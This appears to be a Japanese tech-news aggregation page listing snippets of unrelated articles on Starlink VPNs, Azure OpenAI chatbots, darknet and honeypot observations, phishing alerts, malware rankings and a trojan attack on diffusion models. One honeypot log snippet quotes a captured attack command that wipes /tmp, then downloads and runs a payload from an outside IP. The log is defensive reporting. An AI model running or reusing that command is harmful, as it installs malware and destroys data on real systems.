Starlink(スターリンク)とクラウドで月額171円の冗長VPNを構築してみました | IIJ Engineers Blog
今回は日本、アメリカ、ドイツに設置しているStarlinkの検証環境用に構築した冗長VPNについて説明します。 これまで過去投稿の一覧を書いていましたが、記事が増えてきたので、タグでまとめた先のリンクにします。IIJのスターリンク関係の記事が集まっていますので活用してください。 動画も公開していますので、よろしければそちらもあわせてご覧ください。 3ヵ所のStarlinkをどう繋いでいくのか？ 海外のStarlinkを検証していくために、当初から検証環境について色々と検討していました。Starlink機器にインターネット側からアクセスする手段はないのでStarlink機器配下にVPNで常時接続している機器を設置、リモート接続して検証する形を考えていました。VPNを冗長構成にする事でVPN自身のメンテナンスも安全にできるようになります。 VPNネットワークの構成 Starlink配下におく機
Azure OpenAI Serviceに触れてみる – ポンコツダ・ヴィンチ チャットボットの制作 | IIJ Engineers Blog
地方拠点の一つ、九州支社に所属しています。サーバ・ストレージを中心としたSI業務に携わってましたが、現在は技術探索・深堀業務を中心に対応しています。 2018年に難病を患ったことにより、定期的に入退院を繰り返しつつ、2023年には男性更年期障害の発症をきっかけに、トランスジェンダーとしての道を歩み始めてます。 Azure にもOpenAIサービスがやってきた！ こんにちわ。九州支社のとみ（とみーとも言う）です。 最近ChatGPTのAPIがついにリリースされまして、もちろん私もドハマりしています。やっぱり触れてみれば見るほどモデルに対する理解が進んできてますが、それと同時に「プロンプトエンジニアリング」という言葉が生まれてきた点についてなんだか複雑な気持ちを抱いていたりします。 本当は、ChatGPT APIに関する話をしたいなとも思ったんですが、こいつが思った以上の底なし沼でして・・もう
ChatGPTでチャットボットを作る-OpenAI純正APIの利用 | IIJ Engineers Blog
地方拠点の一つ、九州支社に所属しています。サーバ・ストレージを中心としたSI業務に携わってましたが、現在は技術探索・深堀業務を中心に対応しています。 2018年に難病を患ったことにより、定期的に入退院を繰り返しつつ、2023年には男性更年期障害の発症をきっかけに、トランスジェンダーとしての道を歩み始めてます。 やっぱりChatGPTもやりたいよね 前回の記事で、ポンコツダ・ヴィンチというtext-davinci-003を使ったチャットボットの制作をAzure OpenAI Serviceを使用して行いました。なお、ポンコツなのは私のPromptの使い方が悪いだけで、決してtext-davinci-003モデルがポンコツなのではないのでその点は悪しからず。 とは言え、やっぱりChatGPTが巷をにぎわせることになったわけで、使ってみたいのは確かです。そこで、同じような仕組みをChatGPTの
NICTER観測統計 - 2022年10 月～12月
はじめに NICTER プロジェクトのダークネット観測網における 2022 年第 4 四半期（10月～12月）の観測結果を公開します． 2022 年第 4 四半期の観測統計 総観測パケット数 日毎のパケット数とユニークホスト数の推移 Mirai の攻撃ホスト数の推移 調査スキャナについて 宛先ポート別パケット数 国別パケット数 2022 年第 4 四半期に観測した事象について Fortinet 製品の認証バイパスの脆弱性を悪用した攻撃の観測 2022年第4四半期の観測統計 総観測パケット数 表 1 に総観測パケット数の統計値を示します1．2022 年第 4 四半期の 1 IP アドレス当たりの総観測パケット数（総観測パケット数を観測 IP アドレス数で正規化した値）は 2022 年第 3 四半期からやや増加しました． 日毎のパケット数とユニークホスト数の推移 図 1 に日毎の観測パケット数
ジャック・ドーシー率いる決済サービス企業「Block」の利用者水増し疑惑や犯罪への悪用をまとめたレポートが公開され株価急落
Twitterの創業者であるジャック・ドーシー氏が率いる決済テクノロジー企業「Block(元Square)」について、「ユーザー数の大幅な水増し」「犯罪者による悪用」などを指摘するレポートを、空売りで知られる投資企業のヒンデンブルグ・リサーチが発表しました。レポートの発表を受けて、Blockの株価は一時22％も急落する事態となっています。 NEW FROM US: Block—How Inflated User Metrics and "Frictionless" Fraud Facilitation Enabled Insiders To Cash Out Over $1 Billionhttps://t.co/pScGE5QMnX $SQ (1/n)— Hindenburg Research (@HindenburgRes) March 23, 2023 Block: How Infl
2023/03/18 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ
ハニーポット(仮) 観測記録 2023/03/18分です。 特徴 共通 CensysInspectによるスキャン行為 /.envへのスキャン行為 Location:JP GPONルータの脆弱性を狙うアクセス JBossの脆弱性を狙うアクセス Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス NetGear製品の脆弱性を狙うアクセス PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス Spring Bootの脆弱性を狙うアクセス ThinkPHPの脆弱性を狙うアクセス zgrabによるスキャン行為 .jsへのスキャン行為 /.awsへのスキャン行為 /.gitへのスキャン行為 Apache Tomcatへのスキャン行為 Laravelへのスキャン行為 WordPressへのスキャン行為 Gh0stRATのような
DXとは？デジタル化との違いや推進の課題・事例をわかりやすく紹介
『MarkeZine』が主催するマーケティング・イベント『MarkeZine Day』『MarkeZine Academy』『MarkeZine プレミアムセミナー』の 最新情報をはじめ、様々なイベント情報をまとめてご紹介します。 MarkeZine Day
2023年3月版「Google Play システム アップデート」配信開始
2023 年 3 月版「Google Play システム アップデート」配信開始 アップデート適用後は「Google Play システム アップデート」が「2023 年 3 月 1 日」に更新 2023 年 3 月版「Google Play システム アップデート」は段階的に展開 Google は 2023 年 3 月 24 日（金）前後に、毎月提供している Android デバイスのセキュリティと信頼性を高めるための新機能を含んだ「Google システム アップデート」の中の「Google Play システム アップデート」2023 年 3 月版を、Android デバイスに対して配信開始しました。 2023 年 3 月版「Google Play システム アップデート」適用後は、「Google Play システム アップデート」ラベルが「2023 年 3 月 1 日」に更新されます。た
2023/03/19 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ
ハニーポット(仮) 観測記録 2023/03/19分です。 特徴 共通 Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス GPONルータの脆弱性を狙うアクセス CensysInspectによるスキャン行為 zgrabによるスキャン行為 /.envへのスキャン行為 Location:JP webprosbotによるスキャン行為 /.gitへのスキャン行為 WordPress Pluginへのスキャン行為 phpMyAdminへのスキャン行為 UserAgentがHello, Worldであるアクセス UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget 94.158.247.123/jaws; sh /tmp/jaws Loca
Android端末でGoogle アシスタントの「電源キー長押し起動」をやめる方法
Android端末に搭載されているGoogle アシスタントは「OK、Google」の声以外にも、標準では電源キーの長押しで起動する。これはAndroid 12から変更された機能で、従来と同じ電源メニューの起動に変更できる。 なお本稿はAndroid 13を搭載した「Google Pixel 7 Pro」を使用して検証している。端末やOSによって利用できない機能がある他、操作方法も異なる場合がある。 設定は「設定」→「アプリ」→「アシスタント」→「電源を長押ししてアシスタントを起動」で行える。この画面でラジオボタンを「電源ボタン メニュー」に設定すると、電源キーを長押しした場合にアシスタントが起動しなくなる。 関連記事 Android端末を「ダークモード」に設定する方法 電池持ち向上にも有効 Android端末で真っ白な画面を使い続けていると、だんだん目が痛くなってくる。筆者はこれが苦手な
Microsoftの純正スクショツールにも情報漏えいの脆弱性 パッチ公開
米Microsoftは3月24日（現地時間）、スクリーンショットツール「Windows Snipping Tool」（日本では「切り取り領域とスケッチ」）の脆弱性を修正するパッチをMicrosoft Storeで公開した。 この脆弱性により、PNG形式の画像でトリミングや塗りつぶしを行った部分が復元可能となっていた。例えば、銀行取引明細書のスクリーンショットを撮ってデスクトップに保存し、同じ場所に保存する前に口座番号の部分を切り抜いた場合、切り抜いた画像にはまだ口座番号が非表示の形式で含まれている可能性があり、復元できてしまうという。 ツールからコピーした画像や、保存する前に編集した場合は影響を受けない。トリミングしたり塗りつぶしたりした部分を復元するには幾つかの要件を満たす必要があるため、脆弱性の深刻度は「低」。 影響を受けるアプリは、「切り取り領域とスケッチ」のWindows 10版の
Windowsにおけるアプリ実行エイリアスとは？
Windowsにおける「アプリ実行エイリアス」とは UWPアプリなどを実行ファイル名で起動するための仕組み Windowsには、「アプリ実行エイリアス」という機能がある。これは、exe形式実行ファイルではないUWPアプリなどを、実行ファイル名で起動するための仕組みだ。UWPは特殊な方法で起動されるため、通常のexe実行ファイルのようにファイル名を指定して起動することができない。 このアプリ実行エイリアスは、Microsoftストアで配布するためにMSIXを使ってパッケージ化されたWin32アプリ（デスクトップアプリ）の起動にも使われる。こちらは、実行ファイル名を使って起動は可能だが、パッケージのインストール先が、システムディレクトリ（C:\Program Files\WindowsApps）以下になり、ディレクトリのスキャンができない。 さらにアップデートでパッケージ名が変わるなどの問題が
画像生成AIを「トロイの木馬」で攻撃してみた 生成時に攻撃者が望む画像を出力 米研究者ら「TrojDiff」開発【研究紹介】
米UIUCとUCバークレーに所属する研究者らが発表した論文「TrojDiff: Trojan Attacks on Diffusion Models with Diverse Targets」は、拡散モデルにマルウェア（トロイの木馬）攻撃を仕掛けてみた研究報告である。 ▲（上段）正常な拡散モデル（中央と下段）トロイの木馬に感染させた拡散モデルの生成プロセス keyboard_arrow_down 研究背景 keyboard_arrow_down 研究内容 keyboard_arrow_down 実証実験 keyboard_arrow_down そのほかの実験画像 近年、拡散モデルが新しい競争力のある深層生成モデルとして登場し、様々なデータモダリティにおいて高品質なサンプルを生成する素晴らしい能力を示している。これらの成果は、多様なソースから収集された大規模なトレーニングデータに依存している
講演資料一覧 - JPCERT コーディネーションセンター
2024 2023 2022 2021 2020 2019 2018 2017 2016 2015 2014 2013 2012 2011 2010 2009 2008 2007 2006 2005 2004年以前 JPCERT/CCが過去に講演などで使用した資料の中で一般に公開できるものを用意しています。 <注意> 以下の各文書で紹介しているソフトウェア、バージョン、URL等は、各文書の発行時点のものであり、変更されている可能性があります。 ※「デジタル署名付」と表示されている PDF 文書は GlobalSign CA for Adobe より発行されたデジタル証明書により真正性が証明されております。 Adobe Reader バージョン 9.0 以降をご使用いただくことで、PDF 文書の真正性を検証することができます。 2024
ネットラーニングが小中高校教育分野に本格参入、学習eポータルサービス「みらeポータル」の提供を開始
「みらeポータル」 2022年1月7日にデジタル庁が公開した「教育データ利活用ロードマップ」では、「誰もが、いつでもどこからでも、誰とでも、自分らしく学べる社会」を目指し、そのために教育データを利活用していくことが示された。同社はこれを「学びのエコシステムの実現」と捉え、その実現に欠かせない「LTI（Learning Tools Interoperability）」をはじめとした1EdTech（デジタル学習においてオープンで革新的な技術エコシステムの実現を目指す非営利団体）国際標準をLMSに実装してきた。 1EdTechの国際標準に関する知見や、企業・高等教育分野で培った実績を最大限に生かし、新たに参入する小中高校教育分野において「みらeポータル」を通じた「学びのエコシステム」の実現に寄与していく。「みらeポータル」では、学習設計からテストの実施、学習履歴の蓄積、学んだ証明に至るまで、子ど
フィッシング対策協議会 Council of Anti-Phishing Japan | ニュース | 緊急情報 | SBJ銀行をかたるフィッシング (2023/02/24)
SBJ銀行をかたるフィッシングの報告を受けています。 2023/02/24 13:00 時点では、フィッシングサイトは稼働中であり、JPCERT/CC にサイト閉鎖のための調査を依頼中です。類似のフィッシングサイトが公開される可能性がありますので、引き続きご注意ください。 このようなフィッシングサイトにて、お客さま番号、ログインパスワード、 生年月日、電話番号、pin 番号、SBJ ダイレクトカード裏面の写真等を、絶対に入力したりアップロードしないよう、ご注意ください。 フィッシングサイトは本物のサイトの画面をコピーして作成することが多く、見分けることは非常に困難です。日頃からサービスへログインする際は、メールや SMS 内のリンクではなく、いつも利用しているスマートフォンの公式アプリやブラウザーのブックマークなどからアクセスするよう、心がけてください。 フィッシングメール対策には迷惑メー
チェック・ポイント、2023年1月に最も活発だったマルウェアを発表 国内ではダウンローダのGuLoaderがAgentTeslaと並び首位に
チェック・ポイント、2023年1月に最も活発だったマルウェアを発表 国内ではダウンローダのGuLoaderがAgentTeslaと並び首位にグローバルではインフォスティーラーVidarが再びランクインし7位となった他、中東から北アフリカ地域にかけnjRATを拡散する大規模なマルウェアキャンペーン「Earth Bogle」が発生 包括的なサイバーセキュリティソリューションプロバイダーであるチェック・ポイント・ソフトウェア・テクノロジーズ（Check Point Software Technologies Ltd.、NASDAQ：CHKP、以下チェック・ポイント）の脅威インテリジェンス部門であるチェック・ポイント・リサーチ（Check Point Research、以下CPR）は、2023年1月の最新版Global Threat Index（世界脅威インデックス）を発表しました。 GuLoad
SASE | サイバーセキュリティ情報局
SASE（Secure Access Service Edge）は、2019年にガートナー社によって提唱されたセキュリティに関する概念だ。複数のネットワーク機能とセキュリティ機能を一元的に提供し、企業・組織のIT環境を包括的に保護することを目的とする。 近年、企業・組織のIT環境が複雑化するに伴って、その管理コストの増大、ユーザーにとっての利便性の低下、さらにはセキュリティリスクの増大につながるという課題があった。そこで、包括的なネットワークセキュリティモデルであるSASEに注目が集まっている。 SASEが有する主な機能 SASEに含まれるセキュリティ機能として、以下のようなものが含まれる。 1) CASB（Cloud Access Security Broker） 社内外からクラウドサービスを使用する従業員の利用状況を監視・管理する機能だ。不審な通信の遮断や、機密情報の漏えいリスクを軽減
Microsoftの中の人、「新しいBing」のAIモデル「プロメテウス」を解説
米MicrosoftがOpenAIのLLM「ChatGPT」採用の「新しいBing」を公開して2週間以上が経過した。Microsoftで検索とAI担当のCVP（コーポレートバイスプレジデント）を務めるジョルディ・リバス氏が2月22日（現地時間）、Microsoft傘下のLinkedInに「Building the New Bing」というブログを投稿し、新しいBingについて解説した。 新しいBingでは、OpenAIが昨夏に共有した「GPT-3.5よりはるかに強力な、ChatGPTを強化するLLM」（「GPT-4」とはしていない）を採用している。この次世代GPTは強力ではあるが、他のLLMと同様にトレーニングデータが古い（GPT-3.5のトレーニングデータは2021年までのもの）ため、Bingのバックエンド機能と組み合わせることで最新データを利用できるように開発したのがAI技術「Prom
Appleにマイナンバー搭載を要請しつつ安全性を下げる規制強要の矛盾
2022年12月15日、日本を訪れたAppleのティム・クックCEOが岸田文雄首相と会談した。この時、首相はiPhoneへのマイナンバーカード機能搭載の協力を要請し、クックCEOは「取り組みたい」と前向きに回答すると同時に、日本政府に利用者のプライバシーやセキュリティ保護が損なわれる規制の再考を頼んだという。 Appleにマイナンバーカード搭載を要求しつつ安全性下げる規制を強要 賛否あるマイナンバーカードではあるが、最近では前橋市で交通ICカードとマイナンバーを連携させて交通費の市民割引を受けられる実証実験が始まるなど、同カードがあるからこそ提供可能な公共性と利便性の高いサービスの実例を少しずつ増やしている。 カード普及に反対する人たちも、不安なのは自分たちの個人情報が悪用されずキッチリと守られるかという部分であって、自治体で受けるサービスの円滑化や、給付金などの支払い期間の短縮に異を唱え
常識を覆す価値提供を実現する「CXaaS」とは？必要な機能はカスタマイズするサービスモデルを解説
サブスクリプション型の費用体系でITツールを提供するSaaSでありながら、ユーザーそれぞれのニーズに合わせた機能を追加費用なしでカスタマイズ開発し、専門エンジニアがサポートまで行うサービスモデル「CXaaS」（顧客体験までを提供するという考えから命名）。そのエバンジェリストとして活動している寺尾望さんは、「2025年の崖」や「IT人材不足」などの問題を抱える日本のIT業界を変えるサービスモデルとして、書著『CXaaS 「攻めのIT活用」を実現する新しいクラウドサービスモデル』（翔泳社）の中でCXaaSの特徴やメリットを紹介されています。今回は本書から、CXaaSが何で、どんなメリットがあり、なぜ今必要とされるのかを解説します。 本記事は『CXaaS 「攻めのIT活用」を実現する新しいクラウドサービスモデル』の「第3章 理想を実現する「CXaaS」」から一部を抜粋したものです。掲載にあたって
iPhone「メモ」アプリが生まれ変わる。仕事をブーストさせる9つの新機能【今日のワークハック】 | ライフハッカー・ジャパン
モバイルバッテリーとは呼べない。「ほぼポタ電」なコレ1台で有事の時もアウトドアも大活躍!【AmazonスマイルSALE】
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
NEC、学習eポータル「OPE」の連携コンテンツを拡充──公式サイトもリニューアル
iOSでも「消しゴムマジック」や「動画のHDR処理」が利用可能に、「Google One」特典で
場所/為替！「Google スプレッドシート」新スマートチップ追加
猫の『免疫力がUP』する食材3選！それぞれの特徴も解説 | ねこちゃんホンポ
【セキュリティ ニュース】「VMware vRO」にXXE脆弱性 - アップデートがリリース（1ページ目 / 全1ページ）：Security NEXT